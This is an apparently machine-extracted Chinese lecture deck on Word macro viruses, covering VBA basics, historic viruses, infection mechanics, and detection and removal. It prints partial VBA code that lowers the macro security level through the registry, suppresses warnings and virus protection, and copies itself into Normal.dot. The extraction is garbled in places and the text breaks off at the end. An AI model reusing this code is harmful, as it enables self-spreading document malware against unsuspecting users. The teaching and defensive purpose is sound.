宏病毒原理及實(shí)現(xiàn)

1、Virus宏與OfficeOffice宏與VBAword宏病毒原理 宏病毒的攻防宏（macro)，就是軟件設(shè)計(jì)者為了在使用軟件工作時(shí)，避免一再的重復(fù)相同的動(dòng)作而設(shè)計(jì)出來(lái)的一種工具。它利用簡(jiǎn)單的語(yǔ)法，把常用的動(dòng)作寫成宏，當(dāng)再工作時(shí)，就可以直接利用事先寫好的宏自動(dòng)運(yùn)行，去完成某項(xiàng)特定的任務(wù)，而不必再重復(fù)相同的動(dòng)作。什么是什么是“宏宏”？Microsoft Office、wps等辦公軟件 魔獸世界、劍網(wǎng)等游戲 哪里用到哪里用到“宏宏”？Office 宏的定義：Microsoft Word中對(duì)宏定義為：“宏就是能組織到一起作為一獨(dú)立的命令使用的一系列word命令，它能使日常工作變得更容易”宏語(yǔ)言宏語(yǔ)言

2、即VISUAL BASIC FOR APPLICATION，簡(jiǎn)稱 VBA。VBA 可以訪問許多操作系統(tǒng)函數(shù)并支持文檔打開時(shí)自動(dòng)執(zhí)行宏 這使得用這種語(yǔ)言寫計(jì)算機(jī)病毒成為可能Office各版本及其宏語(yǔ)言年份年份OfficeOffice版本版本宏語(yǔ)言宏語(yǔ)言1987Excel4.0formula1991Excel5.0VBA31993Word6.0WordBasic1997Office97applicationsVBA51999Office2000(WORD10)VBA62001OfficeXPVBA6.22003Office2003(WORD11)VBA6.36Office自帶自帶 Visual B

3、asic 編輯器編輯器注注:1、調(diào)用、調(diào)用VB編輯器的快編輯器的快捷方式：捷方式： Alt + F112、查看宏的快捷鍵：、查看宏的快捷鍵：Alt + F8office2007查看宏代碼可以點(diǎn)擊：視圖視圖 宏宏 編輯編輯VBA簡(jiǎn)介直到90年代早期,使應(yīng)用程序自動(dòng)化還是充滿挑戰(zhàn)性的領(lǐng)域。對(duì)每個(gè)需要自動(dòng)化的應(yīng)用程序，人們不得不學(xué)習(xí)一種不同的自動(dòng)化語(yǔ)言。例如: 用EXCEL的宏語(yǔ)言來(lái)使EXCEL自動(dòng)化，使用WORD BASIC使WORD自動(dòng)化等等。微軟開發(fā)出來(lái)的應(yīng)用程序共享一種通用的自動(dòng)化語(yǔ)言-Visual Basic For Application(VBA)，實(shí)際上VBA是寄生于VB應(yīng)用程序的版本

4、。VB是設(shè)計(jì)用于創(chuàng)建標(biāo)準(zhǔn)的應(yīng)用程序,而VBA是使已有的應(yīng)用程序(EXCEL等)自動(dòng)化。word創(chuàng)建宏Word 提供了兩種創(chuàng)建宏的方法：宏錄制器和 Visual Basic 編輯器。 宏錄制器可幫助用戶開始創(chuàng)建宏。Word 在 VBA 編程語(yǔ)言中把宏錄制為一系列的 Word 命令?？稍?Visual Basic 編輯器中打開已錄制的宏，修改其中的指令。也可用 Visual Basic 編輯器創(chuàng)建包括 Visual Basic 指令的非常靈活和強(qiáng)有力的宏，這些指令無(wú)法采用錄制的方式。基于word的VBA編程 Sub AutoOpen() 定義函數(shù)名，AutoXXX為自動(dòng)宏While True 惡意

5、代碼 ，死循環(huán)Msgbox ”Hello world” 調(diào)用對(duì)話框顯示消息WendEnd Sub 函數(shù)到此結(jié)束基于word的VBA編程 Sub AutoOpen()Command.Caption = Shell C:Program FilesInternet ExplorerIEXPLORE.EXE http:/vbNormalFocusFor i = 1 To 10Documents.Add 新添加一個(gè)word文檔Next iEnd Sub Word 應(yīng)用的層次應(yīng)用的層次Documents(所有的文檔)Document(一個(gè)文檔)Templates(所有模板)Windows(所有窗口)Sel

6、ectionStyleRange 調(diào)用操作系統(tǒng) Shell函數(shù)打開已安裝的應(yīng)用程序Office有了宏，宏在office中的什么位置？ 為了方便人們使用宏以及宏文件的傳遞使用，Word定義出一種文件格式，將文檔以及該文檔所需要的宏合在一起放在后綴為.dot的文件之中。正因?yàn)檫@種是宏也是資料的文檔格式，便產(chǎn)生了宏感染的可能性。但是，Normal.dot上不能用來(lái)存儲(chǔ)數(shù)據(jù)，每次修改后都需另外保存。有沒有一種文檔格式，既可以存儲(chǔ)宏，又可以用來(lái)存儲(chǔ)數(shù)據(jù)？一、模板文件格式：一、模板文件格式：.dot.dot文檔：模板文檔，新文檔繼承模板的屬性（文檔：模板文檔，新文檔繼承模板的屬性（ 宏、菜單、宏、菜單、格

7、式等）格式等）。 Normal.dotNormal.dot文件：全局模板，在建立整個(gè)文檔中所起的作用是文件：全局模板，在建立整個(gè)文檔中所起的作用是作為一個(gè)基類，是新建文檔默認(rèn)的模板。作為一個(gè)基類，是新建文檔默認(rèn)的模板。二、數(shù)據(jù)文件格式二、數(shù)據(jù)文件格式 .doc一種可以存貯宏的普通文檔； .docx一種不包含宏的普通文檔；.docm一種包含宏或啟用了宏的文檔；.dotx一種不包含宏的模板；.dotm一種包含宏或啟用了宏的模板。 宏就在office文檔里用普通文檔即可傳播宏文件寫代碼簡(jiǎn)單，傳播更簡(jiǎn)單，那么，我們可不可以做點(diǎn)別的事？ 其實(shí)宏病毒的出現(xiàn)并非出乎人們的意料，其實(shí)宏病毒的出現(xiàn)并非出乎人們的

8、意料，早在早在8080年代后期就有專家預(yù)言過。那時(shí)，年代后期就有專家預(yù)言過。那時(shí)，有些學(xué)生就用某些應(yīng)用程序的宏語(yǔ)言編有些學(xué)生就用某些應(yīng)用程序的宏語(yǔ)言編寫病毒。然而，宏病毒與普通病毒不同，寫病毒。然而，宏病毒與普通病毒不同，它不感染它不感染.EXE.EXE或或.COM.COM文件，而只感染文文件，而只感染文檔文件。宏病毒就像自然界中令人恐懼檔文件。宏病毒就像自然界中令人恐懼的龍卷風(fēng)，對(duì)人們正常使用計(jì)算機(jī)進(jìn)行的龍卷風(fēng)，對(duì)人們正常使用計(jì)算機(jī)進(jìn)行學(xué)習(xí)和工作帶來(lái)了不可估量的影響，同學(xué)習(xí)和工作帶來(lái)了不可估量的影響，同時(shí)也造成了社會(huì)財(cái)富的巨大浪費(fèi)。時(shí)也造成了社會(huì)財(cái)富的巨大浪費(fèi)。1. Concept宏病毒世界

9、上的第一個(gè)宏病毒Concept可以感染W(wǎng)indows和蘋果機(jī)上的Microsoft Word文檔。這個(gè)病毒是用Microsoft Word 6.0中的宏語(yǔ)言編寫的，但它也能感染其他Word版本創(chuàng)建的文檔?？雌饋?lái)編寫Concept宏病毒是為了證明確實(shí)可以用宏編程語(yǔ)言編寫病毒。因此，Concept宏病毒只是顯示一個(gè)對(duì)話框，宣示它的存在，并不故意破壞磁盤上的任何文件。2 2 NuclearNuclear宏病毒宏病毒這是一個(gè)對(duì)操作系統(tǒng)文件和打印輸出有破壞功能的宏病毒。這個(gè)宏這是一個(gè)對(duì)操作系統(tǒng)文件和打印輸出有破壞功能的宏病毒。這個(gè)宏病毒中包含以下病毒宏：病毒中包含以下病毒宏：AutoExecAutoEx

10、ec AutoOpenAutoOpen DropSurivDropSuriv FileExitFileExit FilePrintFilePrint FilePrintFilePrint DefaultFileDefaultFile SaveAsSaveAs 這些宏是只執(zhí)行（這些宏是只執(zhí)行（Execute-onlyExecute-only）宏）宏 NuclearNuclear宏病毒造成的破壞現(xiàn)象為：宏病毒造成的破壞現(xiàn)象為：（1 1）打開一個(gè)染毒文檔井打印的時(shí)候，它會(huì)在您打印的最后一段）打開一個(gè)染毒文檔井打印的時(shí)候，它會(huì)在您打印的最后一段加上加上“STOPALLFRENCHNUCLEARTEST

11、INGSTOPALLFRENCHNUCLEARTESTINGINTHEPACIFICINTHEPACIFIC！”，這個(gè)現(xiàn)象是在每分鐘的，這個(gè)現(xiàn)象是在每分鐘的5555秒秒6060秒之間操作打秒之間操作打印時(shí)發(fā)生。印時(shí)發(fā)生。（2 2）如果在每天）如果在每天17:0017:0018:0018:00之間打開一個(gè)染毒文檔，之間打開一個(gè)染毒文檔，NuclearNuclear病病毒會(huì)將毒會(huì)將PH33RPH33R病毒傳染到計(jì)算機(jī)上，這是個(gè)病毒傳染到計(jì)算機(jī)上，這是個(gè)駐留型病毒。駐留型病毒。（3 3）在每年的）在每年的4 4月月5 5日，該病毒會(huì)將計(jì)算機(jī)上日，該病毒會(huì)將計(jì)算機(jī)上IO.SYSIO.SYS和和MSDO

12、S.SYSMSDOS.SYS文文件清零，并且刪除件清零，并且刪除C C盤根目錄上的盤根目錄上的COMMAND. COMCOMMAND. COM文件。一旦病毒發(fā)文件。一旦病毒發(fā)作，作，MSDOSMSDOS就不可能被引導(dǎo)，計(jì)算機(jī)將陷入癱瘓。就不可能被引導(dǎo)，計(jì)算機(jī)將陷入癱瘓。Virus3 3 臺(tái)灣一號(hào)病毒臺(tái)灣一號(hào)病毒臺(tái)灣一號(hào)病毒會(huì)在每月的臺(tái)灣一號(hào)病毒會(huì)在每月的1313日影響您正常使用日影響您正常使用WordWord文檔和編輯器。文檔和編輯器。它包含以下病毒宏：它包含以下病毒宏：AutoCloseAutoClose、AutoNewAutoNew、AutoOpenAutoOpen這些宏是可這些宏是可被編

13、輯宏。在病毒宏中含有如下的語(yǔ)句：被編輯宏。在病毒宏中含有如下的語(yǔ)句：IfDay(Now()=13Then.IfDay(Now()=13Then.這條語(yǔ)句與這條語(yǔ)句與1313日有關(guān)。臺(tái)灣一號(hào)病毒造日有關(guān)。臺(tái)灣一號(hào)病毒造成的危害是：在每月成的危害是：在每月1313日，若用戶使用日，若用戶使用WordWord打開一個(gè)帶毒的文檔打開一個(gè)帶毒的文檔（模板）時(shí)，病毒會(huì)被激發(fā)。激發(fā)時(shí)的現(xiàn)象是：在屏幕正中央彈（模板）時(shí)，病毒會(huì)被激發(fā)。激發(fā)時(shí)的現(xiàn)象是：在屏幕正中央彈出一個(gè)對(duì)話框，該對(duì)話框提示用戶做一個(gè)心算題，如做錯(cuò)，它將出一個(gè)對(duì)話框，該對(duì)話框提示用戶做一個(gè)心算題，如做錯(cuò)，它將會(huì)無(wú)限制地打開文件，直至?xí)o(wú)限制地打

14、開文件，直至WordWord內(nèi)存不夠，內(nèi)存不夠，WordWord出錯(cuò)為止；如心出錯(cuò)為止；如心算題做對(duì)，會(huì)提示用戶算題做對(duì)，會(huì)提示用戶“什么是巨集病毒（宏病毒）？什么是巨集病毒（宏病毒）？”，回答，回答“我就是巨集病毒我就是巨集病毒”，再提示用戶：，再提示用戶：“如何預(yù)防巨集病毒？如何預(yù)防巨集病毒？”，回答是回答是“不要看我不要看我”。2.1 宏病毒簡(jiǎn)介什么是宏病毒？宏病毒是一種寄存在文檔或模板的宏中的計(jì)算機(jī)病毒。一旦打開這樣的文檔打開這樣的文檔，其中的宏自動(dòng)被執(zhí)行宏自動(dòng)被執(zhí)行，于是宏病毒就會(huì)被激活激活，轉(zhuǎn)移到計(jì)算機(jī)上，并駐留在駐留在NormalNormal模板模板上。從此以后，所有自動(dòng)保存的文

15、檔都會(huì)“感染”上這種宏病毒，而且如果其他用戶打開了感染病毒的文檔，宏病毒又會(huì)轉(zhuǎn)移轉(zhuǎn)移到他的計(jì)算機(jī)上。宏病毒的特點(diǎn)（1）宏病毒會(huì)感染.DOC文檔和.DOT模版文件。（2） 宏病毒的傳染通常是WORD在打開一個(gè)帶宏病毒的文檔或模版時(shí)，激活宏病毒。（3）多數(shù)宏病毒包含AutoOpen、AutoClose、AutoNew和AutoExit 等自動(dòng)宏，通過這些自動(dòng)宏病毒取得文檔(模版)操作權(quán)。（4）宏病毒中總是含有對(duì)文檔讀寫操作的宏命令。（5）病毒原理簡(jiǎn)單，制作比較方便。（6）傳播速度相對(duì)較快。211 某個(gè)宏病毒對(duì)文檔取得控制權(quán)2 該病毒將自身復(fù)制到通用模板3 通用模板在啟動(dòng)時(shí)自動(dòng)調(diào)用編程語(yǔ)言：編程語(yǔ)言

16、：VBAVBA、WordBasicWordBasic等等運(yùn)行環(huán)境：運(yùn)行環(huán)境：VBEVBEWord宏病毒的感染過程宏病毒原理大揭秘宏病毒原理大揭秘1、降低宏安全級(jí)別以office2003版為例If Application.Version “11.0” Then 判斷office版本strFullname = ThisWorkbook.FullName 取得當(dāng)前工作薄的全名strVBS = Replace(UCase(strFullname), .XLS, .vbs) temp文件VBS的文件名Set WSH = CreateObject(“Wscript.Shell”) 創(chuàng)建Wscript對(duì)象E

17、rr.ClearOn Error Resume Next 出錯(cuò)不提示，繼續(xù)regStr =HKEY_CURRENT_USERSoftwareMicrosoftOffice11.0WordSecurityLevel“ 注冊(cè)表中Excel vba安全級(jí)別位置ret = WSH.RegRead(regStr) 讀取當(dāng)前安全級(jí)別If Err.Number 0 Then 判斷讀取是否成功 vbOKOnly + vbCritical, Keanjeason Exit SubElse 如果當(dāng)前Excel VBA安全級(jí)別不為“低”,則設(shè)置為“低”,值1-4分別對(duì)應(yīng)：低，中，高，非常高 If Val(ret)

18、1 Then ret = WSH.RegWrite(regStr, 1, REG_DWORD)End If1、用戶使用Word執(zhí)行打開文檔、保存文檔、打印文檔和關(guān)閉文檔等操作時(shí)，Word會(huì)查找指定的標(biāo)準(zhǔn)宏： 例1：關(guān)閉文檔之前查找“FileSave”宏，如果存在，首先執(zhí)行這個(gè)宏例2：打印文檔之前首先查找“FilePrint”宏，如果存在則執(zhí)行這個(gè)宏2、Word中另外還有一些以“Auto”開始的宏（自動(dòng)宏），如“AutoOpen”、“AutoClose”等，如果建立了這些宏，打開/關(guān)閉文檔的時(shí)候?qū)⒆詣?dòng)執(zhí)行這些宏，這些宏一般是全局宏，對(duì)任何Word文檔都有效。病毒觸發(fā)要隱含在正常的操作中，這些自動(dòng)

19、執(zhí)行的宏然是最好的宿主。2、文檔的控制權(quán)獲取宏病毒常用到的宏如下表所示宏病毒常用到的宏如下表所示類別類別宏宏 名名運(yùn)行條件運(yùn)行條件自動(dòng)宏自動(dòng)宏AutoExecAutoExec啟動(dòng)啟動(dòng)WordWord或加載全局模板時(shí)或加載全局模板時(shí)AutoNewAutoNew每次創(chuàng)建新文檔時(shí)每次創(chuàng)建新文檔時(shí)AutoOpenAutoOpen每次打開已存在的文檔時(shí)每次打開已存在的文檔時(shí)AutoCloseAutoClose在關(guān)閉文檔時(shí)在關(guān)閉文檔時(shí)AutoExitAutoExit在退出在退出WordWord或卸載全局模板時(shí)或卸載全局模板時(shí)標(biāo)準(zhǔn)宏標(biāo)準(zhǔn)宏FileSaveFileSave保存文件保存文件FileSaveAsF

20、ileSaveAs改名另存為文件改名另存為文件FilePrintFilePrint打印文件打印文件FileOpenFileOpen打開文件打開文件 高明的病毒編寫者其自我保護(hù)將做得非常好，可以使word的一些工具欄失效，例如將工具菜單中的宏選項(xiàng)屏蔽，也可以修改注冊(cè)表達(dá)到很好的隱藏效果。 常用代碼示例：常用代碼示例：On Error Resume NextOn Error Resume Next 如果發(fā)生錯(cuò)誤，不彈出出錯(cuò)窗口，繼續(xù)執(zhí)行下面語(yǔ)句如果發(fā)生錯(cuò)誤，不彈出出錯(cuò)窗口，繼續(xù)執(zhí)行下面語(yǔ)句Application.DisplayAlertApplication.DisplayAlert = = wd

21、AlertsNoewdAlertsNoe 不彈出警告窗口不彈出警告窗口Application.EnableCancelKeyApplication.EnableCancelKey = = wdCancelDisabledwdCancelDisabled 不允許通過不允許通過ESCESC鍵結(jié)束正在運(yùn)行的宏鍵結(jié)束正在運(yùn)行的宏Application.DisplayStatusBarApplication.DisplayStatusBar = False = False 不顯示狀態(tài)欄，避免顯示宏的運(yùn)行狀態(tài)不顯示狀態(tài)欄，避免顯示宏的運(yùn)行狀態(tài)Application.ScreenUpdatingApplic

22、ation.ScreenUpdating = False = False 不讓刷新屏幕，避免病毒運(yùn)行引起刷新速度變慢不讓刷新屏幕，避免病毒運(yùn)行引起刷新速度變慢Option.VirusProtectionOption.VirusProtection = False = False 關(guān)閉病毒保護(hù)功能，運(yùn)行前如果包含宏，不提示關(guān)閉病毒保護(hù)功能，運(yùn)行前如果包含宏，不提示Option.SaveNormalPromptOption.SaveNormalPrompt = False = False 如果公用模板被修改，不給用戶提示窗口而直接保存如果公用模板被修改，不給用戶提示窗口而直接保存3 3、宏病毒的自

23、我隱藏、宏病毒的自我隱藏1、Word宏病毒一般都首先隱藏在一個(gè)指定的Word文檔中，一旦打開了這個(gè)Word文檔，宏病毒就被執(zhí)行，宏病毒要做的第一件事情就是將自己拷貝到全局宏的區(qū)域，使得所有打開的文檔都可使用這個(gè)宏。2、當(dāng)Word退出的時(shí)候，全局宏將被存儲(chǔ)在某個(gè)全局的模板文檔(.dot文件)中，這個(gè)文件的名字通常是“Normal.dot”，即Normal模板。3、如果全局宏模板被感染，則Word再啟動(dòng)的時(shí)候?qū)⒆詣?dòng)載入宏病毒并且自動(dòng)執(zhí)行。4 4、傳播與感染、傳播與感染1）得到正在操作的文檔代碼對(duì)象和公用模板的代碼對(duì)象。Ourcode = ThisDocument.VBProject.VBCompo

24、nents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If 2) 檢查模板是否已經(jīng)感染病毒，如果沒有，則復(fù)制宏病毒代碼到模板，并且修改函數(shù)名。With hostIf .Lines(1, 1) moonlight Then.DeleteLines 1,

25、 .CountOfLines.InsertLines 3, Sub Document_Close()If ThisDocument = NormalTemplate Then.RbeplaceLine 3, Sub Document_Open()ActiveDocument.SaveAs ActiveDocument.FullNameEnd If End IfEnd With宏病毒預(yù)防 宏病毒離不開可供其運(yùn)行的系統(tǒng)軟件(WORD，EXCEL 等OFFICE 軟件)，所以宏病毒的檢測(cè)其實(shí)非常容易。只要留意一下常用的OFFICE 系統(tǒng)軟件是不是出現(xiàn)了一些不正常的現(xiàn)象，就能大概知道計(jì)算機(jī)是不是染上了

26、宏病毒。如何及時(shí)發(fā)現(xiàn)宏病毒？如何及時(shí)發(fā)現(xiàn)宏病毒？（1）全局模板中出現(xiàn)宏。（2）無(wú)故出現(xiàn)存盤操作。（3）OFFICE功能混亂，無(wú)法使用。（4）OFFICE菜單命令消失。（5）OFFICE文檔的內(nèi)容發(fā)生變化。（6）嘗試保存文檔時(shí)，只允許將文檔保存為文檔模版的格式。（7）文檔圖標(biāo)的外形類似模板而非文檔圖標(biāo)。Office不正?，F(xiàn)象集錦 感染了宏病毒后，同樣可以用防治計(jì)算機(jī)病毒的軟件來(lái)查殺，亦可采用以下方法進(jìn)行手工處理：1、通過刪除宏命令的形式刪除宏病毒。2、通過復(fù)制粘貼清除宏病毒代碼方式清除宏病毒。3、通過刪除NORMAL.DOT來(lái)除掉Word宏病毒。4、通過格式轉(zhuǎn)換清除Word 宏病毒。5、通過高版本的Word發(fā)現(xiàn)病毒宏。6、為防萬(wàn)一，在打開懷疑感染了宏病毒的文檔時(shí)按住SHIFT鍵，這樣可以避免宏自動(dòng)運(yùn)行，如果有宏病毒，則不會(huì)加載宏。宏病毒的清除日常辦公中如何去避免宏病毒？36 針對(duì)針對(duì) Office 2007Off